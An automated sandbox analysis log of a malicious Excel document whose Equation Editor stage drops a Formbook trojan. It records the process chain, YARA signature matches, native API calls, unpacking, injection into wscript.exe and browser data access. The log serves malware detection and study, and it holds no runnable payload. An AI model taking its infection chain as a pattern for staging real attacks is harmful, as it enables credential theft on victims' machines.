Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\sqlite3.dll C1DE8ECA6419634C5F6E0E8C6EF14D9B3DAA28FA28E8D1C4CE0175DBC310A77F
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\Public\vbc.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Memory allocated: 77620000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Memory allocated: 77740000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 77620000 page execute and read and write
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 77740000 page execute and read and write
Yara signature match
Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 8.2.mcwfy.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 8.2.mcwfy.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.1184042628.00000000000E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1055408046.00000000003B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000012.00000002.1137588402.0000000000230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1055247288.0000000000260000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.1184129727.00000000002B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.1055435528.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000010.00000002.1184187420.00000000002E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_00403640
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 00993F92 appears 109 times
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 0099373B appears 211 times
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 009BF970 appears 78 times
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 00401980 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 0094E2A8 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: String function: 0094DF5C appears 104 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0041E833 NtAllocateVirtualMemory, 8_2_0041E833
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0041E653 NtCreateFile, 8_2_0041E653
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0041E703 NtReadFile, 8_2_0041E703
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0041E783 NtClose, 8_2_0041E783
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009400C4 NtCreateFile,LdrInitializeThunk, 8_2_009400C4
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00940048 NtProtectVirtualMemory,LdrInitializeThunk, 8_2_00940048
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00940078 NtResumeThread,LdrInitializeThunk, 8_2_00940078
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009407AC NtCreateMutant,LdrInitializeThunk, 8_2_009407AC
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093F9F0 NtClose,LdrInitializeThunk, 8_2_0093F9F0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093F900 NtReadFile,LdrInitializeThunk, 8_2_0093F900
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 8_2_0093FAD0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FAE8 NtQueryInformationProcess,LdrInitializeThunk, 8_2_0093FAE8
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FBB8 NtQueryInformationToken,LdrInitializeThunk, 8_2_0093FBB8
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FB68 NtFreeVirtualMemory,LdrInitializeThunk, 8_2_0093FB68
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FC90 NtUnmapViewOfSection,LdrInitializeThunk, 8_2_0093FC90
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FC60 NtMapViewOfSection,LdrInitializeThunk, 8_2_0093FC60
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FD8C NtDelayExecution,LdrInitializeThunk, 8_2_0093FD8C
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FDC0 NtQuerySystemInformation,LdrInitializeThunk, 8_2_0093FDC0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FEA0 NtReadVirtualMemory,LdrInitializeThunk, 8_2_0093FEA0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 8_2_0093FED0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FFB4 NtCreateSection,LdrInitializeThunk, 8_2_0093FFB4
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009410D0 NtOpenProcessToken, 8_2_009410D0
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00940060 NtQuerySection, 8_2_00940060
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_009401D4 NtSetValueKey, 8_2_009401D4
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0094010C NtOpenDirectoryObject, 8_2_0094010C
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00941148 NtOpenThread, 8_2_00941148
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093F8CC NtWaitForSingleObject, 8_2_0093F8CC
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00941930 NtSetContextThread, 8_2_00941930
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093F938 NtWriteFile, 8_2_0093F938
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FAB8 NtQueryValueKey, 8_2_0093FAB8
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FA20 NtQueryInformationFile, 8_2_0093FA20
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FA50 NtEnumerateValueKey, 8_2_0093FA50
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FBE8 NtQueryVirtualMemory, 8_2_0093FBE8
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FB50 NtCreateKey, 8_2_0093FB50
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FC30 NtOpenProcess, 8_2_0093FC30
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00940C40 NtGetContextThread, 8_2_00940C40
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0093FC48 NtSetInformationFile, 8_2_0093FC48
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00941D80 NtSuspendThread, 8_2_00941D80
Searches the installation path of Mozilla Firefox
Source: C:\Windows\SysWOW64\wscript.exe Registry key queried: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox\52.0.1 (x86 en-US)\Main Install Directory
Document contains embedded VBA macros
Source: d0#U10dc.xls OLE indicator, VBA macros: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT Jump to behavior
Source: classification engine Classification label: mal100.rans.troj.spyw.expl.evad.winXLS@27/74@6/6
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: d0#U10dc.xls OLE indicator, Workbook stream: true
Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: .VBPud<_
Source: d0#U10dc.xls ReversingLabs: Detection: 30%
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe
Source: unknown Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe "C:\Users\user\AppData\Local\Temp\mcwfy.exe" C:\Users\user\AppData\Local\Temp\ytljtt.f Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Process created: C:\Users\user\AppData\Local\Temp\mcwfy.exe C:\Users\user\AppData\Local\Temp\mcwfy.exe Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043 Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe Process created: unknown unknown Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\wscript.exe C:\Windows\SysWOW64\wscript.exe Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe C:\Program Files (x86)\Mozilla Firefox\Firefox.exe
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_00403640 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 5_2_00403640
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7BF2.tmp Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 5_2_004021AA CoCreateInstance, 5_2_004021AA
Source: C:\Users\Public\vbc.exe Code function: 5_2_00404AB5 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 5_2_00404AB5
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\wscript.exe File opened: C:\Windows\SysWOW64\RichEd32.dll
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: d0#U10dc.xls Static file information: File size 1150464 > 1048576
Source: Binary string: wntdll.pdb source: mcwfy.exe, mcwfy.exe, 00000008.00000003.994250234.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000003.980520259.0000000000640000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1056057741.0000000000930000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002400000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000002.1184542105.0000000002280000.00000040.00001000.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1055259646.0000000001F90000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1056803818.00000000020F0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wscript.pdb source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\obj-firefox\browser\app\firefox.pdb source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000010.00000003.1126038884.00000000053D0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wscript.pdbN source: mcwfy.exe, 00000008.00000002.1055471860.0000000000564000.00000004.00000020.00020000.00000000.sdmp, mcwfy.exe, 00000008.00000002.1055885124.0000000000860000.00000040.10000000.00040000.00000000.sdmp
Source: ~DF2613BCA6826298A5.TMP.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Unpacked PE file: 8.2.mcwfy.exe.400000.0.unpack .text:ER;.rdata:R;.data:W; vs .text:ER;
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 6_2_00410A64 push ecx; ret 6_2_00410A77
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040A846 push cs; retf 8_2_0040A847
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00411320 push ds; retf 8_2_00411322
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040DC2C pushfd ; iretd 8_2_0040DC3A
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040B4FA push ecx; ret 8_2_0040B501
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0040AD0D push 255F11F9h; retf 8_2_0040AD18
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_0041B674 pushad ; retf 8_2_0041B678
Source: C:\Users\user\AppData\Local\Temp\mcwfy.exe Code function: 8_2_00401E20 push eax; ret 8_2_00401E22
PE file contains sections with non-standard names
Source: sqlite3.dll.16.dr Static PE information: section name: /4
Source: sqlite3.dll.16.dr Static PE information: section name: /19
Source: sqlite3.dll.16.dr Static PE information: section name: /31
Source: sqlite3.dll.16.dr Static PE information: section name: /45
Source: sqlite3.dll.16.dr Static PE information: section name: /57
Source: sqlite3.dll.16.dr Static PE information: section name: /70
Source: sqlite3.dll.16.dr Static PE information: section name: /81
Source: sqlite3.dll.16.dr Static PE information: section name: /92
Drops PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Windows\SysWOW64\wscript.exe File created: C:\Users\user\AppData\Local\Temp\sqlite3.dll Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
